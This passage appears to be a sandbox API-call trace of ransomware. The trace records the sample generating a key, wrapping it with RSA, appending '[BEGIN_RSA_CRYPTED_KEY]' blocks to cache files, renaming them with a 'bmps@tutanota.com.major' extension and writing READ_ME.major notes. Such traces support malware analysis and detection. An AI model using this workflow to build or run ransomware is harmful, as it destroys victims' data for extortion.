hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb48 | out: hHeap=0x570000) returned 1 [0152.503] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0152.503] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e2e0 | out: hHeap=0x570000) returned 1 [0152.503] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0152.503] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb48 [0152.503] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0152.503] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", dwFileAttributes=0x80) returned 1 [0152.504] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2e40f20 [0152.504] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x652560 [0152.504] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0152.504] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x674 [0152.504] GetFileSizeEx (in: hFile=0x674, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=626) returned 1 [0152.504] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x272) returned 0x5c1ce8 [0152.504] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x272) returned 0x5a8108 [0152.504] ReadFile (in: hFile=0x674, lpBuffer=0x5c1ce8, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesRead=0x2e3f9b4*=0x272, lpOverlapped=0x0) returned 1 [0152.505] SetFilePointer (in: hFile=0x674, lDistanceToMove=-626, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0152.505] WriteFile (in: hFile=0x674, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x272, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x272, lpOverlapped=0x0) returned 1 [0152.505] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0152.505] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0152.505] SetFilePointer (in: hFile=0x674, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x272 [0152.505] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.505] WriteFile (in: hFile=0x674, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.506] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0152.506] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0152.506] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0152.506] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0152.506] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="FbJ8Fxb7AQDekgWyprNNl1JehakxNGSsJneOqWChB/LXlsnf7Yd8ya3TbLK8au4n\nfkSIZ+INi9wgWWyByU8pG4SI4evQev2kHiCEjTEg13uD2JbE/8DSV6875wZLtScw\nLWyMpQstL6THf+yNJudZmdytHJP7Djq21HA3YTBizdX8NwLjJfs+UjWFFKjA5eWU\nZ7R665/5Aq4F+kme2bf9AJUKwBsWU/6DlCjYoJt6Dhy6FtXSdXCgNl2Wa6UhepIi\nFiknASFReHQ9prsnfL0ZLXqoFNJHk83eVCWas1OIGtYg3sIRsKSW34zDrapbcGNd\n9Puy1nTx7S7rjRi8hLgENw==\n", pcchString=0x2e3f9a8) returned 1 [0152.506] WriteFile (in: hFile=0x674, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0152.507] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0152.507] WriteFile (in: hFile=0x674, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0152.507] CloseHandle (hObject=0x674) returned 1 [0152.507] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0152.507] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), lpNewFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0152.612] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652560 | out: hHeap=0x570000) returned 1 [0152.612] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb48 | out: hHeap=0x570000) returned 1 [0152.612] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0152.612] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b3b90 | out: hHeap=0x570000) returned 1 [0152.612] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0152.612] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0152.612] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e398 | out: hHeap=0x570000) returned 1 [0152.612] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0152.612] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630e40 [0152.613] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0152.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7de0 [0152.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0152.613] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7de0 | out: hHeap=0x570000) returned 1 [0152.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0728 [0152.613] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0152.613] GetLastError () returned 0x0 [0152.613] SetLastError (dwErrCode=0x0) [0152.613] GetLastError () returned 0x0 [0152.613] SetLastError (dwErrCode=0x0) [0152.613] GetLastError () returned 0x0 [0152.613] SetLastError (dwErrCode=0x0) [0152.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0152.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.613] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb48 [0152.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630e80 [0152.613] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630e80 | out: hHeap=0x570000) returned 1 [0152.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404f8 [0152.613] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404f8 | out: hHeap=0x570000) returned 1 [0152.613] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb48 | out: hHeap=0x570000) returned 1 [0152.613] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0152.613] FindNextFileW (in: hFindFile=0x630e40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.613] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0728 | out: hHeap=0x570000) returned 1 [0152.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a80 [0152.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0152.613] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a80 | out: hHeap=0x570000) returned 1 [0152.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0152.613] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0152.613] GetLastError () returned 0x0 [0152.613] SetLastError (dwErrCode=0x0) [0152.613] GetLastError () returned 0x0 [0152.613] SetLastError (dwErrCode=0x0) [0152.613] GetLastError () returned 0x0 [0152.613] SetLastError (dwErrCode=0x0) [0152.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0152.613] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.613] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb48 [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630e80 [0152.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630e80 | out: hHeap=0x570000) returned 1 [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0152.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0152.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb48 | out: hHeap=0x570000) returned 1 [0152.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0152.614] FindNextFileW (in: hFindFile=0x630e40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="packages", cAlternateFileName="")) returned 1 [0152.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7918 [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0152.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7918 | out: hHeap=0x570000) returned 1 [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0020 [0152.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0152.614] GetLastError () returned 0x0 [0152.614] SetLastError (dwErrCode=0x0) [0152.614] GetLastError () returned 0x0 [0152.614] SetLastError (dwErrCode=0x0) [0152.614] GetLastError () returned 0x0 [0152.614] SetLastError (dwErrCode=0x0) [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb48 [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb70 [0152.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb48 | out: hHeap=0x570000) returned 1 [0152.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb70 | out: hHeap=0x570000) returned 1 [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0728 [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb48 [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d08 [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0152.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d08 | out: hHeap=0x570000) returned 1 [0152.614] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ca0 [0152.614] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0152.614] GetLastError () returned 0x0 [0152.614] SetLastError (dwErrCode=0x0) [0152.614] GetLastError () returned 0x0 [0152.615] SetLastError (dwErrCode=0x0) [0152.615] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x5bd3b8 [0152.615] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0152.615] GetLastError () returned 0x0 [0152.615] SetLastError (dwErrCode=0x0) [0152.615] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5aff60 [0152.615] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x678 [0152.621] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aff60 | out: hHeap=0x570000) returned 1 [0152.621] WriteFile (in: hFile=0x678, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0152.622] CloseHandle (hObject=0x678) returned 1 [0152.622] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bd3b8 | out: hHeap=0x570000) returned 1 [0152.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0152.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0152.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.623] FindNextFileW (in: hFindFile=0x630e40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159168ea, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x159168ea, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0152.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0152.623] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7be8 [0152.623] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0152.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7be8 | out: hHeap=0x570000) returned 1 [0152.623] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0152.623] GetLastError () returned 0x0 [0152.623] SetLastError (dwErrCode=0x0) [0152.623] GetLastError () returned 0x0 [0152.623] SetLastError (dwErrCode=0x0) [0152.623] GetLastError () returned 0x0 [0152.623] SetLastError (dwErrCode=0x0) [0152.623] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb70 [0152.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb70 | out: hHeap=0x570000) returned 1 [0152.623] FindNextFileW (in: hFindFile=0x630e40, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159168ea, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x159168ea, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0152.623] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e170 [0152.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0152.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e450 | out: hHeap=0x570000) returned 1 [0152.623] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc38 | out: hHeap=0x570000) returned 1 [0152.623] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630e80 [0152.624] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7918 [0152.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0152.624] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7918 | out: hHeap=0x570000) returned 1 [0152.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0152.624] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0152.624] GetLastError () returned 0x12 [0152.624] SetLastError (dwErrCode=0x12) [0152.624] GetLastError () returned 0x12 [0152.624] SetLastError (dwErrCode=0x12) [0152.624] GetLastError () returned 0x12 [0152.624] SetLastError (dwErrCode=0x12) [0152.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0152.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.624] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb70 [0152.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630f00 [0152.624] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630f00 | out: hHeap=0x570000) returned 1 [0152.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0152.624] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0152.624] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb70 | out: hHeap=0x570000) returned 1 [0152.624] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0152.624] FindNextFileW (in: hFindFile=0x630e80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x159168ea, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0152.624] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0152.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7f48 [0152.624] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0152.625] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f48 | out: hHeap=0x570000) returned 1 [0152.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0152.625] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6ca0 | out: hHeap=0x570000) returned 1 [0152.625] GetLastError () returned 0x12 [0152.625] SetLastError (dwErrCode=0x12) [0152.625] GetLastError () returned 0x12 [0152.625] SetLastError (dwErrCode=0x12) [0152.625] GetLastError () returned 0x12 [0152.625] SetLastError (dwErrCode=0x12) [0152.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0152.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0152.625] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0152.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0152.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630f00 [0152.625] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630f00 | out: hHeap=0x570000) returned 1 [0152.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0152.625] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0152.625] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0152.625] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0152.625] FindNextFileW (in: hFindFile=0x630e80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="packages", cAlternateFileName="")) returned 1 [0152.625] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0152.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7960 [0152.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0152.625] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7960 | out: hHeap=0x570000) returned 1 [0152.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0152.625] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0152.625] GetLastError () returned 0x12 [0152.625] SetLastError (dwErrCode=0x12) [0152.625] GetLastError () returned 0x12 [0152.625] SetLastError (dwErrCode=0x12) [0152.625] GetLastError () returned 0x12 [0152.625] SetLastError (dwErrCode=0x12) [0152.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccb70 [0152.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0152.625] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb70 | out: hHeap=0x570000) returned 1 [0152.625] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0152.625] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, 